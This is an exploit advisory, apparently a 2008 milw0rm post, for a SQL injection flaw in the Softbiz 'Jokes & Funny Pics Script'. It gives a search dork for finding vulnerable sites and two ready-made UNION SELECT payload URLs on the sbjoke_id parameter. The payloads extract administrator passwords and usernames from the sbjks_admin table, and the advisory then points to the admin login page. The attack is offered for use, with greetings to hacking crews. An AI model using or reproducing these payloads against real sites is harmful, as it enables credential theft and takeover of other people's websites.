45 lines
No EOL
1.5 KiB
Text
45 lines
No EOL
1.5 KiB
Text
#########################################################
|
|
#
|
|
# Jokes & Funny Pics Script SQL Injection Vulnerability
|
|
#========================================================
|
|
#
|
|
# Author: Hussin X
|
|
#
|
|
# Home : www.tryag.cc/cc
|
|
#
|
|
# email: darkangel_g85[at]Yahoo[DoT]com
|
|
# hussin.x[at]hotmail[DoT]com
|
|
#
|
|
#========================================================
|
|
# HomE script : http://www.softbizscripts.com
|
|
#
|
|
# Demo : http://www.softbizscripts.com/scripts/jokes
|
|
#
|
|
# DorK : "index.php?sbjoke_id="
|
|
|
|
##########################################################
|
|
|
|
Exploit:
|
|
|
|
|
|
http://www.site.org/Script/index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10+from+sbjks_admin--
|
|
|
|
|
|
Exploit: 2
|
|
|
|
index.php?sbjoke_id=-1+union+select+0,1,2,3,concat_ws(sbadmin_pwd,0x3a,sbadmin_name),5,6,7,8,9,10,11,12,13+from+sbjks_admin--
|
|
|
|
Login :
|
|
|
|
/admin/
|
|
|
|
|
|
################################################################################
|
|
####################################( Greetz )##################################
|
|
# #
|
|
# tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke #
|
|
# Silic0n / Rafi / FAHD / Iraqihack #
|
|
# #
|
|
#################################(and All IRAQIs)###############################
|
|
|
|
# milw0rm.com [2008-06-25] |